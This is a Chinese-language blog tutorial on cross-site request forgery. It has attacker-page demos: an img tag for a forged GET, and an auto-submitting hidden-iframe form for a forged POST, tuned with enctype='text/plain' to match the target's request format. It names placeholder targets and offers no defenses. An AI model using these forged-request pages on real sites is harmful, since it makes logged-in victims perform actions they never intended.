Stories

Detail Return Return

CSRF攻擊的示例講解 - Stories Detail

文章不易,請關注公眾號 毛毛蟲的小小蠟筆,多多支持,謝謝。

CSRF簡介

Cross-site request forgery,跨站請求偽造,通常縮寫為CSRF或者XSRF。

CSRF之get請求攻擊

發起get請求攻擊比較簡單,只需要通過img標籤就可實現。

因為受瀏覽器同源策略限制,因此不能通過ajax來發起get請求。

Demo驗證

代碼:

// 這段代碼是網站B的頁面,只是發起了網站A的請求
// src的值就是網站A下的get請求
<head>
    <meta charset="utf-8">
    <title>csrf之get請求攻擊</title>
</head>
<body>
    <img src="http://xxx">
</body>

效果:

用户打開攻擊者網站B,則會自動發起網站A的get請求,狀態碼200表示成功。
如下截圖所示:
image.png

通過抓包查看,請求是帶上了cookie,響應也是正常的。
如下截圖所示:
image.png

就是如果在別的網站能發起網站A的請求,網站A就是存在CSRF漏洞了。
只是get請求的危害沒有post請求那麼大,但也不能忽略。
凡是漏洞都要提起十二分精神。

CSRF之post請求攻擊

相比get請求的攻擊,想發起post請求的攻擊,就沒那麼容易實現。

首先我們知道,在網站B是不能通過ajax發起網站A的post請求的,因為有同源策略限制。
但需要注意的是,同源策略只是限制了XMLHttpRequest和Fetch API,而html的form標籤則不受同源策略限制。
同樣,get請求的img標籤也不受同源策略。

1. 測試form表單發起post請求是否能攻擊成功

代碼:

// 這段代碼是網站B的頁面,只是發起了網站A的請求
<head>
    <meta charset="utf-8">
    <title>csrf-post</title>
</head>
<body>
    <form id="form" action="http://xxx" method="POST" target="iframe1">
        <input type="text" name="id" value="70">
        <input type="text" name="biz_module_id" value="[15]">
        <input type="text" name="deploy_path" value="">
        <input type="text" name="description" value="test">
        <input type="text" name="name" value="config.txt">
        <input type="text" name="version" value="1">
    </form>
    <iframe name="iframe1"></iframe>
    <script>
        document.getElementById('form').submit()
    </script>
</body>

效果:

image.png

結論:

很明顯請求是不成功的。
但能把網站A的登錄態帶過去,也算是成功了一部分。

對比下網站A的post請求,發現兩者的請求數據格式不一樣。

網站A的如下圖所示:
image.png

分析:

form請求的數據格式跟enctype屬性有關。
默認的是application/x-www-form-urlencoded,此時就是Form Data。
編碼類型總共三種,還有兩種是:multipart/form-data和text/plain。
前者是上傳文件用的,後者用的比較少。
但正是通過text/plain,可以將數據格式改為Request Payload。

2. 再次驗證

代碼:

// 在上面的代碼的基礎上,把form新增enctype屬性
<head>
    <meta charset="utf-8">
    <title>csrf-post</title>
</head>
<body>
    <form id="form" action="http://xxx" method="POST" target="iframe1" enctype="text/plain">
        <input type="text" name="id" value="70">
        <input type="text" name="biz_module_id" value="[15]">
        <input type="text" name="deploy_path" value="">
        <input type="text" name="description" value="test">
        <input type="text" name="name" value="config.txt">
        <input type="text" name="version" value="1">
    </form>
    <iframe name="iframe1"></iframe>
    <script>
        document.getElementById('form').submit()
    </script>
</body>



詳情 請查看:毛毛蟲的小小蠟筆

user avatar defghy Avatar wmuhua Avatar
Favorites 2 users favorite the story!
Favorites

Add a new Comments

Some HTML is okay.